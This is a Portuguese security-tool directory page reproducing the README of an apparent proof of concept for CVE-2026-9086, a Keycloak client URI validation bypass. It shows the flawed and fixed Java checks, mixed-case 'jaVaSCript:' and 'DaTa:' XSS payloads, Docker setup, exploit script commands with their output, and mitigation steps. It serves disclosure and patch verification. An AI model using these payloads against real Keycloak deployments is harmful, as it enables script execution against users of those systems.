Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-9086-poc — Prova de conceito do CVE-2026-9086 para bypass da validação de URI do cliente Keycloak usando payloads XSS javascript: e data: em caixa mista, com verificação baseada em Docker das versões vulnerável e corrigida. | Kitploit
Ferramentas/GitHubGitHub/saku0512/cve-2026-9086-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebAprendizado e EducaçãoLabs e Prática
GitHubsaku0512/cve-2026-9086-poc

CVE-2026-9086-poc

Prova de conceito do CVE-2026-9086 para bypass da validação de URI do cliente Keycloak usando payloads XSS javascript: e data: em caixa mista, com verificação baseada em Docker das versões vulnerável e corrigida.

Ver Repositório
12há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-9086: Bypass da validação de esquema URI do Keycloak - PoC XSS

English version

Visão Geral

Este repositório é uma Prova de Conceito (PoC) da vulnerabilidade de Cross-Site Scripting (XSS) CVE-2026-9086, existente na validação de URI de cliente do Keycloak.

O Keycloak vulnerável validava os esquemas javascript: e data: de URIs configurados em clientes de forma sensível a maiúsculas e minúsculas. Por isso, usando notações mistas como jaVaSCript: ou DaTa:, é possível contornar a validação de esquemas proibidos. Como o navegador interpreta esquemas de URI sem diferenciar maiúsculas de minúsculas, se a vítima clicar em um link malicioso, é possível que JavaScript seja executado na origem do Keycloak.

Esta PoC inicia o Keycloak 26.6.3 (versão vulnerável) e 26.6.4 (versão corrigida) com Docker e registra a mesma URI de notação mista por meio da API REST de administração. Verifica que, na versão vulnerável, o registro é bem-sucedido e, na versão corrigida, é rejeitado com HTTP 400.

Esta PoC não abre a URI registrada no navegador e não executa JavaScript.


Aviso Legal

Este projeto destina-se exclusivamente a fins educacionais e à realização de testes de segurança autorizados. Não utilize este projeto para testar ambientes Keycloak de terceiros sem permissão. O autor não se responsabiliza por mau uso, danos ou atividades ilegais decorrentes da utilização desta ferramenta.


Detalhes da Vulnerabilidade

  • ID CVE: CVE-2026-9086
  • Produto: Keycloak / Red Hat build of Keycloak
  • Tipo: Cross-Site Scripting (CWE-79)
  • CVSS v3.1: 7.3 Alta (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N)
  • Privilégio Necessário: permissão manage-client ou acesso ao endpoint de registro de clientes
  • Interação do Usuário: é necessário clicar em um link malicioso
  • Versão alvo da PoC: Keycloak 26.6.3
  • Versão corrigida da PoC: Keycloak 26.6.4
  • Escopo de impacto (CPE NVD): Red Hat build of Keycloak 26.4 ou superior e inferior a 26.4.13, 26.6 ou superior e inferior a 26.6.4

Causa Raiz

O DefaultClientValidationProvider anterior à correção comparava os esquemas proibidos usando String.equals().

root@kitploit:~
if (uri.getScheme() != null
        && (uri.getScheme().equals("data")
        || uri.getScheme().equals("javascript"))) {
    // reject
}

Como java.net.URI#getScheme() preserva maiúsculas e minúsculas da entrada, as URIs a seguir não correspondem à comparação e passam pela validação.

root@kitploit:~
jaVaSCript:alert(document.domain)
DaTa:text/html;base64,PHNjcmlwdD5jb25maXJtKGRvY3VtZW50LmRvbWFpbik7PC9zY3JpcHQ+

Na versão corrigida, é usado equalsIgnoreCase().

root@kitploit:~
if (uri.getScheme() != null
        && (uri.getScheme().equalsIgnoreCase("data")
        || uri.getScheme().equalsIgnoreCase("javascript"))) {
    // reject
}

Prova de Conceito (Como Usar)

1. Iniciando o Ambiente

Inicie a versão vulnerável e a corrigida com Docker Compose.

root@kitploit:~
docker compose up -d

Serviços iniciados:

URLVersãoResultado Esperado
http://localhost:8180Keycloak 26.6.3Registro de URI bem-sucedido (vulnerável)
http://localhost:8181Keycloak 26.6.4HTTP 400 (corrigido)

A primeira inicialização pode demorar um pouco. Você pode verificar o estado com o seguinte comando.

root@kitploit:~
docker compose logs -f

Quando Listening on aparecer nos logs de ambos os serviços, pressione Ctrl+C para sair da visualização dos logs.

2. Verificação da Versão Vulnerável

root@kitploit:~
python3 exploit.py \
  -t http://localhost:8180 \
  -u admin \
  -p admin \
  --expect vulnerable

Saída esperada:

root@kitploit:~
[!] VULNERABLE: Keycloak accepted the mixed-case javascript: URI.

O script também obtém novamente o cliente criado pela API de administração e confirma que a URI maliciosa foi armazenada.

3. Verificação da Versão Corrigida

root@kitploit:~
python3 exploit.py \
  -t http://localhost:8181 \
  -u admin \
  -p admin \
  --expect fixed

Saída esperada:

root@kitploit:~
[+] FIXED: Keycloak rejected the mixed-case javascript: URI.

4. Verificação do Esquema data:

Ao especificar --scheme data, é possível verificar uma URI DaTa: de notação mista.

root@kitploit:~
python3 exploit.py -t http://localhost:8180 --scheme data --expect vulnerable
python3 exploit.py -t http://localhost:8181 --scheme data --expect fixed

5. Limpeza

root@kitploit:~
docker compose down -v

Como a PoC Funciona

O exploit.py realiza apenas as seguintes ações:

  1. Obtém um token de acesso de administrador usando admin-cli
  2. Gera um ID de cliente aleatório
  3. Define uma URI jaVaSCript: ou DaTa: de notação mista em redirectUris
  4. Envia a solicitação de criação de cliente para /admin/realms/master/clients
  5. Na versão vulnerável, obtém novamente o cliente salvo e verifica a URI
  6. Na versão corrigida, verifica o HTTP 400 e o erro de esquema proibido

Não há inicialização de navegador, navegação para a URI registrada nem execução de JavaScript.

Mitigação

Atualize o Keycloak 26.6 para 26.6.4 ou superior e o Red Hat build of Keycloak 26.4 para 26.4.13 ou superior.

Além disso, audite as configurações de URI dos clientes existentes e remova quaisquer valores que usem javascript: ou data:, independentemente de maiúsculas ou minúsculas. Restrinja também a permissão manage-client e o acesso ao endpoint de registro de clientes ao mínimo necessário.

Referências

  • NVD: CVE-2026-9086
  • Red Hat: CVE-2026-9086
  • Keycloak issue #50347
  • Keycloak fix commit 32cdceb
Baixar ferramenta